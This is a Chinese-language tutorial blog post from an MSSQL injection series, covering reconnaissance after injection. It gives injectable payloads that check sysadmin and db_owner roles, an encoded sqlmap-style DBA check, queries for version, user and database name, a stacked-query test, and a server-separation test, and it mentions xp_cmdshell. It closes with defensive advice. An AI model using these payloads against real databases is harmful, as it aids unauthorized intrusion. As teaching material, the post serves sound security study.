MSSQL注入-第二章 MSSQL信息收集

释放双眼,带上耳机,听听看~!

0x00 权限判断

服务器级别

我们可以在docs上面看到 IS_SRVROLEMEMBER ( 'role' [ , 'login' ] ) 函数 role 的有效值是用户定义的服务器角色和以下固定服务器角色:

mysql

返回类型:

返回值描述0login 不是 role 的成员。1login 是 role 的成员。NULLrole 或 login 无效,或者没有查看角色成员身份的权限。

最终我们可以构造语句

and 1=(select is_srvrolemember('sysadmin'))

and 1=(select is_srvrolemember('serveradmin'))

and 1=(select is_srvrolemember('setupadmin'))

and 1=(select is_srvrolemember('securityadmin'))

and 1=(select is_srvrolemember('diskadmin'))

and 1=(select is_srvrolemember('bulkadmin'))

我们在sqlmap中使用 –is-dba 也就是判断的你是否为管理员权限

select * from admin where id =1 AND 5560 IN (SELECT (CHAR(113)+CHAR(122)+CHAR(113)+CHAR(107)+CHAR(113)+(SELECT (CASE WHEN (IS_SRVROLEMEMBER(CHAR(115)+CHAR(121)+CHAR(115)+CHAR(97)+CHAR(100)+CHAR(109)+CHAR(105)+CHAR(110))=1) THEN CHAR(49) ELSE CHAR(48) END))+CHAR(113)+CHAR(118)+CHAR(112)+CHAR(120)+CHAR(113)))

数据库级别的角色

select IS_MEMBER('db_owner')  

mysql

0x01 基本信息

@@version // 数据库版本

user  //获取当前数据库用户名

db_name() // 当前数据库名 其中db_name(N)可以来遍历其他数据库

;select user //查询是否支持多语句

0x02 判断站库分离

select * from info where id='1'and host_name()=@@servername;--'

最简单的方法,当然你可以调用xp_cmdshell 就可以通过cmd来判断。

通过简单的判断数据库版本,当前用户权限,我们就可以想下一步怎么去做,比如2005的xp_cmdshell 你要知道他的权限一般是system 而2008他是nt authority\network service

避免的方法

  1. 在设计应用程序时,完全使用参数化查询(Parameterized Query)来设计数据访问功能。
  2. 在组合SQL字符串时,先针对所传入的参数加入其他字符(将单引号字符前加上转义字符)。
  3. 如果使用PHP开发网页程序的话,需加入转义字符之功能(自动将所有的网页传入参数,将单引号字符前加上转义字符)。
  4. 使用php开发,可写入html特殊函数,可正确阻挡XSS攻击。
  5. 其他,使用其他更安全的方式连接SQL数据库。例如已修正过SQL注入问题的数据库连接组件,例如ASP.NET的SqlDataSource对象或是 LINQ to SQL。
  6. 使用SQL防注入系统。
  7. 增强WAF的防御力

作者:@404

aleenzz

公众号:aleenzz

人已赞赏
安全教程

MSSQL注入-目录

2019-11-11 11:17:10

安全教程

MSSQL注入-第三章 MSSQL符号

2019-11-11 11:25:34

0 条回复 A文章作者 M管理员
    暂无讨论,说说你的看法吧
个人中心
购物车
优惠劵
今日签到
有新私信 私信列表
搜索